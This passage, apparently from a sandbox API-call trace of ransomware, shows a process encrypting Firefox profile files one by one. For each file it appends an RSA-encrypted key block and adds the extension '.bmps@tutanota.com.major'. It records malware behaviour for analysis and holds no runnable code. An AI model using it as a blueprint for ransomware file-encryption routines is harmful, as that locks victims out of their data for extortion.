"c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0235.323] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=229376) returned 1 [0235.323] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x38000) returned 0x33d5010 [0235.323] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x38000) returned 0x340d018 [0235.323] ReadFile (in: hFile=0x1a34, lpBuffer=0x33d5010, nNumberOfBytesToRead=0x38000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d5010*, lpNumberOfBytesRead=0x2e3f9b4*=0x38000, lpOverlapped=0x0) returned 1 [0235.708] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-229376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0235.708] WriteFile (in: hFile=0x1a34, lpBuffer=0x340d018*, nNumberOfBytesToWrite=0x38000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x340d018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x38000, lpOverlapped=0x0) returned 1 [0235.708] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x38000 [0235.708] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0235.709] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0235.709] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0235.709] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0235.709] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0235.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0235.709] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="XNioU59u9NfD1sQ+ohIKK410RG2K4MkmLfzfKJoO6E+cFNS61F3Q5Fw8XXAp7XfU\nWaWa6SDU2ETCx34MVw/ICIcYI84zeU9qyjp11rCkR7U58k1LgzGRQFv3VCU2KroA\nwU3e42B0XsYh+9fncBdHXT5glMIgD9V1KvVYput8yYUwUX60CC9seh9PnRlr/FDN\nvZDuIH3DfnC7dNtclkiJu2riHez1u5UrCD3rL37xULATr1Ha+2lJph0u7wmZ9ynl\nvjv8nAiLm/lUbjaOuDTlxwLZpNU5XT8SYpiA1Imsttxb0aMjes6zKwhbzI0WgyeB\nRoD+diG8dP50Fm/2tZ4Mdg==\n", pcchString=0x2e3f9a8) returned 1 [0235.709] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0235.709] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0235.709] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0235.709] CloseHandle (hObject=0x1a34) returned 1 [0235.709] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0235.711] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0235.711] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json", dwFileAttributes=0x80) returned 1 [0235.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666fb0 [0235.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x66a900 [0235.714] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0235.715] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=809) returned 1 [0235.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x329) returned 0x5a8108 [0235.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x329) returned 0x66e548 [0235.715] ReadFile (in: hFile=0x1a34, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x329, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x329, lpOverlapped=0x0) returned 1 [0235.739] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-809, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0235.739] WriteFile (in: hFile=0x1a34, lpBuffer=0x66e548*, nNumberOfBytesToWrite=0x329, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesWritten=0x2e3f9b4*=0x329, lpOverlapped=0x0) returned 1 [0235.740] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x329 [0235.740] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0235.740] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0235.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0235.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0235.741] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0235.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0235.741] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fKqH0Z6uMd+zrBZfSiAN005yHkVLi1m8o1UIRFb0mI1N5PN6gjec99YeZsZTZC9U\nH9FrVMR/hclKlH95DNNfImggsn0Ht89d6yO3OxLKA8hqiS+NM9iolTnXevjHfaLS\npEUgqRBfegCBV0fNEN480tr+0B5c8/M53eWUXezceIwfQ5ch+Mx91bE/Ss+l4bGD\nYo00+VFsDIU/ZOhLcd++yogP8PaEOoAx9TM3SG1vHotswJLio7I20md8ZgFQAo0b\nN3yxBOj5VbuT0lGwci4pfO9HXZDgaSRJRcj7wjaP+o5LN+aqJS51jPM9PjIpKDw0\noOu0hjRPKQuMKufHZEhzRw==\n", pcchString=0x2e3f9a8) returned 1 [0235.741] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0235.741] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0235.741] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0235.741] CloseHandle (hObject=0x1a34) returned 1 [0235.741] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0235.744] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0235.744] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini", dwFileAttributes=0x80) returned 1 [0235.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665278 [0235.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60dc10 [0235.745] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\compatibility.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0235.745] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=199) returned 1 [0235.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc7) returned 0x652ce0 [0235.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc7) returned 0x653020 [0235.745] ReadFile (in: hFile=0x1a34, lpBuffer=0x652ce0, nNumberOfBytesToRead=0xc7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x652ce0*, lpNumberOfBytesRead=0x2e3f9b4*=0xc7, lpOverlapped=0x0) returned 1 [0235.746] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-199, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0235.746] WriteFile (in: hFile=0x1a34, lpBuffer=0x653020*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x653020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc7, lpOverlapped=0x0) returned 1 [0235.746] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc7 [0235.746] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0235.746] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0235.746] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0235.746] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0235.747] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0235.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0235.747] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pL+ycBNp+MJd0MiTz4Qc073s1OhXL6hll0hPHzpwmFxsOvCwZ7Coxb2KdS+IjuVN\ngdtyeMMY6ZGyjvatCeIcvkDG5t/vhgYmf3MKrN+biHuRdciwc3U6wY6rhWIohnWi\nkFUPwqkMnBT+fP8qROdgOMYLAJqshL1ihXyc44azfx8q4ETPE1L6Dw3xGptO6z/w\nSQ1OyCwTZUq0Dxze1wTPRz19e7ZjAp1L26upBNWgR4xI0EdRhQunpDa8t+XvyT3P\nBbU/Bl6/OWXGIqFN9XnCRxqXVcMlBVeNpmFuEuT79Xxx+GffI2rVEsHsUmSPIxK3\nBleJd+LWEdn5X4QksEt7rw==\n", pcchString=0x2e3f9a8) returned 1 [0235.747] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0235.747] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0235.747] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0235.939] CloseHandle (hObject=0x1a34) returned 1 [0235.939] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\compatibility.ini"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\compatibility.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0235.967] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0235.967] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", dwFileAttributes=0x80) returned 1 [0235.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6674b8 [0235.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x66ad60 [0235.968] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0235.968] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=65536) returned 1 [0235.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x33d5010 [0235.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x33e5018 [0235.968] ReadFile (in: hFile=0x1a34, lpBuffer=0x33d5010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d5010*, lpNumberOfBytesRead=0x2e3f9b4*=0x10000, lpOverlapped=0x0) returned 1 [0236.073] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-65536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0236.073] WriteFile (in: hFile=0x1a34, lpBuffer=0x33e5018*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33e5018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10000, lpOverlapped=0x0) returned 1 [0236.074] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10000 [0236.074] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0236.074] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0236.075] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0236.075] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0236.075] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0236.075] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0236.075] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9sEkz7fNQhyW76+5BA2KFDlcKxIL7B8K7mzBU3kG0tcnanRIETTxzT6ZAiXI1yfG\nFDzF8BzE22sOqVhHLdGhyk5nVLHRQThfmE9mgqnotn2eVW0Kuh8o9Tz6oTFmfiRO\nx0Q8YTGof2Uuyp2oVAUCuLhGdwy8z9ZkB+VciN7oT9zJQYHT0lBFnUWEP94q5/jq\n26bz73exKLlpzPNBebCBKMaYZNLuKuf6Rgfd4fX94Lu1UrAwPnraWJ03vOUVwEZH\nP0Qw7doUVyfFuZ6jOoktOV7JSVY+dpUJKp0d+UxkTgmA3zKoqDRjvbG4tHOBKq1m\naQv/O3FJgQuOMWff5TgHEw==\n", pcchString=0x2e3f9a8) returned 1 [0236.075] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0236.076] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0236.076] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0236.076] CloseHandle (hObject=0x1a34) returned 1 [0236.076] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0236.489] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0236.489] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", dwFileAttributes=0x80) returned 1 [0236.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667348 [0236.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x66ac48 [0236.489] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0236.490] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=280169) returned 1 [0236.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x44669) returned 0x33d5010 [0236.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x44669) returned 0x3419688 [0236.490] ReadFile (in: hFile=0x1a34, lpBuffer=0x33d5010, nNumberOfBytesToRead=0x44669, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d5010*, lpNumberOfBytesRead=0x2e3f9b4*=0x44669, lpOverlapped=0x0) returned 1 [0236.506] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-280169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0236.507] WriteFile (in: hFile=0x1a34, lpBuffer=0x3419688*, nNumberOfBytesToWrite=0x44669, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3419688*, lpNumberOfBytesWritten=0x2e3f9b4*=0x44669, lpOverlapped=0x0) returned 1 [0236.507] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33d5010 | out: hHeap=0x570000) returned 1 [0236.507] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3419688 | out: hHeap=0x570000) returned 1 [0236.508] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x44669 [0236.508] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0236.508] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0236.508] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0236.508] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0236.509] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0236.509] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0236.509] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mTMHZ2ZifUWb4lYNG7DpRQ5hWzUYgKHQx4wuttXIaprhMKM2IypRNkaUW1knJqVD\nsZ+oQ3KT5ylmCLBw/jA1b1Z9+0Ecwa0vx6KdY4A7QbRgarXHbSboA1tMGVq81AXN\n3mXjOP7ix4wUkbmWABn5Ozknn8MjrHJeVHNXz8ykrP3zcc1T3aTbn5xUP2+J66bz\nny/xQW/AfZktsnCkv32b6GHJbaTQt4QJ0lB2/bZwEqD5dHPWZ3Zkm8uTIDQHAoSL\no8E4uSm+YCKtQAyx95Qz+nxt1Mso15UUjwNjVGbR5TdFoIme2XnNjEnr4mDagMrx\nAh/BnGM19IMmB2TCpT61Ug==\n", pcchString=0x2e3f9a8) returned 1 [0236.509] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0236.509] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0236.509] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0236.509] CloseHandle (hObject=0x1a34) returned 1 [0236.509] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0236.509] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml.1506877342345.bmps@tutanota.com.major" (normalized: 